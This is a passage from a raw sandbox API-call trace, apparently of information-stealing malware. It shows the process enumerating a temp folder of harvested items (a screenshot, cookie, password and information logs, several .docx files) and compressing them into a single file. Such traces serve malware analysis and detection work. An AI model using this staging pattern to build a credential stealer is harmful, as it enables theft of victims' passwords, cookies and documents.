lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png", lpFilePart=0x0) returned 0x3c [0211.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\camscreen.png"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b94cac9, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1b94cac9, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1b94cac9, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0211.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x12fe154, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0211.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll", nBufferLength=0x105, lpBuffer=0x12fe1cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll", lpFilePart=0x0) returned 0x40 [0211.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fe680) returned 1 [0211.666] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrcompression.dll"), fInfoLevelId=0x0, lpFileInformation=0x12fe6fc | out: lpFileInformation=0x12fe6fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bf2ac9d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9bf2ac9d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9bf2ac9d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8c0)) returned 1 [0211.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fe67c) returned 1 [0211.668] LoadLibraryW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrcompression.dll") returned 0x6de90000 [0211.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="deflateInit2_", cchWideChar=13, lpMultiByteStr=0x12fe6c4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deflateInit2_ÓFq\x18Ô\x96àðùosèè/\x01¨ñ(q8)3\x01", lpUsedDefaultChar=0x0) returned 13 [0211.764] GetProcAddress (hModule=0x6de90000, lpProcName="deflateInit2_") returned 0x6de99cc0 [0211.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="deflate", cchWideChar=7, lpMultiByteStr=0x12fe6c8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deflate\x01TÓFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 7 [0211.767] GetProcAddress (hModule=0x6de90000, lpProcName="deflate") returned 0x6de99460 [0211.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="deflateEnd", cchWideChar=10, lpMultiByteStr=0x12fe6c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deflateEndFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 10 [0211.767] GetProcAddress (hModule=0x6de90000, lpProcName="deflateEnd") returned 0x6de99bd0 [0211.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="inflateInit2_", cchWideChar=13, lpMultiByteStr=0x12fe6c4, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inflateInit2_ÓFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 13 [0211.768] GetProcAddress (hModule=0x6de90000, lpProcName="inflateInit2_") returned 0x6de9bc10 [0211.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="inflate", cchWideChar=7, lpMultiByteStr=0x12fe6c8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inflate\x01TÓFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 7 [0211.769] GetProcAddress (hModule=0x6de90000, lpProcName="inflate") returned 0x6de9a780 [0211.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="inflateEnd", cchWideChar=10, lpMultiByteStr=0x12fe6c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inflateEndFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 10 [0211.769] GetProcAddress (hModule=0x6de90000, lpProcName="inflateEnd") returned 0x6de9bbb0 [0211.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="zlibCompileFlags", cchWideChar=16, lpMultiByteStr=0x12fe6c0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zlibCompileFlagsTÓFq\x18Ô\x96àðùosèè/\x01\x84\x86Ìs", lpUsedDefaultChar=0x0) returned 16 [0211.770] GetProcAddress (hModule=0x6de90000, lpProcName="zlibCompileFlags") returned 0x6de9da90 [0211.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01", lpUsedDefaultChar=0x0) returned 5 [0211.790] ReadFile (in: hFile=0x750, lpBuffer=0x332196c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x332196c*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.822] CloseHandle (hObject=0x750) returned 1 [0211.823] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x6b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookieDomains.log", cAlternateFileName="COOKIE~1.LOG")) returned 1 [0211.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log", lpFilePart=0x0) returned 0x40 [0211.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\cookiedomains.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.823] GetFileType (hFile=0x750) returned 0x1 [0211.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.823] GetFileType (hFile=0x750) returned 0x1 [0211.823] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log", lpFilePart=0x0) returned 0x40 [0211.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.823] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\cookieDomains.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\cookiedomains.log"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x6b1)) returned 1 [0211.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01\x10p3\x03", lpUsedDefaultChar=0x0) returned 5 [0211.826] ReadFile (in: hFile=0x750, lpBuffer=0x33391e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x33391e0*, lpNumberOfBytesRead=0x12feedc*=0x6b1, lpOverlapped=0x0) returned 1 [0211.834] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x12fedec, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fedec*=0x2b, lpOverlapped=0x0) returned 1 [0211.843] ReadFile (in: hFile=0x750, lpBuffer=0x33391e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x33391e0*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.848] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0x113, lpOverlapped=0x0) returned 1 [0211.848] SetFilePointer (in: hFile=0x740, lDistanceToMove=57, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x39 [0211.848] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.849] SetFilePointer (in: hFile=0x740, lDistanceToMove=318, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x13e [0211.849] CloseHandle (hObject=0x750) returned 1 [0211.850] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 1 [0211.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef4c) returned 1 [0211.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files", nBufferLength=0x105, lpBuffer=0x12fea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files", lpFilePart=0x0) returned 0x34 [0211.850] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\*", lpFindFileData=0x12fec74 | out: lpFindFileData=0x12fec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa530 [0211.850] FindClose (in: hFindFile=0x13fa530 | out: hFindFile=0x13fa530) returned 1 [0211.850] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\*", lpFindFileData=0x12fec80 | out: lpFindFileData=0x12fec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa7b0 [0211.850] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673, dwReserved0=0x0, dwReserved1=0x0, cFileName="4uV4065ClZioLoOxUX7f.docx", cAlternateFileName="4UV406~1.DOC")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x468407b0, ftLastWriteTime.dwHighDateTime=0x1d59057, nFileSizeHigh=0x0, nFileSizeLow=0x178a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7d4Q8tI0a.docx", cAlternateFileName="7D4Q8T~1.DOC")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dcbea63, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dcbea63, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2928e930, ftLastWriteTime.dwHighDateTime=0x1d5a2f2, nFileSizeHigh=0x0, nFileSizeLow=0xf64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CQmwTaiySiiMfKSxL.docx", cAlternateFileName="CQMWTA~1.DOC")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x748e4b30, ftLastWriteTime.dwHighDateTime=0x1d5e41b, nFileSizeHigh=0x0, nFileSizeLow=0x157fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gwq5EHvw1.docx", cAlternateFileName="GWQ5EH~1.DOC")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 1 [0211.851] FindNextFileW (in: hFindFile=0x13fa7b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd0b065, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x6e32bcc0, ftLastWriteTime.dwHighDateTime=0x1d57e50, nFileSizeHigh=0x0, nFileSizeLow=0xedb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="YsuINtJM29u.docx", cAlternateFileName="YSUINT~1.DOC")) returned 0 [0211.852] FindClose (in: hFindFile=0x13fa7b0 | out: hFindFile=0x13fa7b0) returned 1 [0211.852] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\*", lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa930 [0211.852] FindNextFileW (in: hFindFile=0x13fa930, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.852] FindNextFileW (in: hFindFile=0x13fa930, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da82629, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673, dwReserved0=0x0, dwReserved1=0x0, cFileName="4uV4065ClZioLoOxUX7f.docx", cAlternateFileName="4UV406~1.DOC")) returned 1 [0211.852] FindClose (in: hFindFile=0x13fa930 | out: hFindFile=0x13fa930) returned 1 [0211.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.852] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312ee07d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x313ac93a, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="information.log", cAlternateFileName="INFORM~1.LOG")) returned 1 [0211.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", lpFilePart=0x0) returned 0x3e [0211.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\information.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.853] GetFileType (hFile=0x750) returned 0x1 [0211.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.853] GetFileType (hFile=0x750) returned 0x1 [0211.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log", lpFilePart=0x0) returned 0x3e [0211.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\information.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\information.log"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312ee07d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x313ac93a, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2c3)) returned 1 [0211.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01ìë4\x03", lpUsedDefaultChar=0x0) returned 5 [0211.855] ReadFile (in: hFile=0x750, lpBuffer=0x3350dbc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3350dbc*, lpNumberOfBytesRead=0x12feedc*=0x2c3, lpOverlapped=0x0) returned 1 [0211.855] ReadFile (in: hFile=0x750, lpBuffer=0x3350dbc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3350dbc*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.858] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x227, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0x227, lpOverlapped=0x0) returned 1 [0211.859] SetFilePointer (in: hFile=0x740, lDistanceToMove=332, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x14c [0211.859] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.860] SetFilePointer (in: hFile=0x740, lDistanceToMove=869, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x365 [0211.860] CloseHandle (hObject=0x750) returned 1 [0211.860] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="passwords.log", cAlternateFileName="PASSWO~1.LOG")) returned 1 [0211.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", lpFilePart=0x0) returned 0x3c [0211.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\passwords.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.860] GetFileType (hFile=0x750) returned 0x1 [0211.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.860] GetFileType (hFile=0x750) returned 0x1 [0211.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log", lpFilePart=0x0) returned 0x3c [0211.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\passwords.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\passwords.log"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, 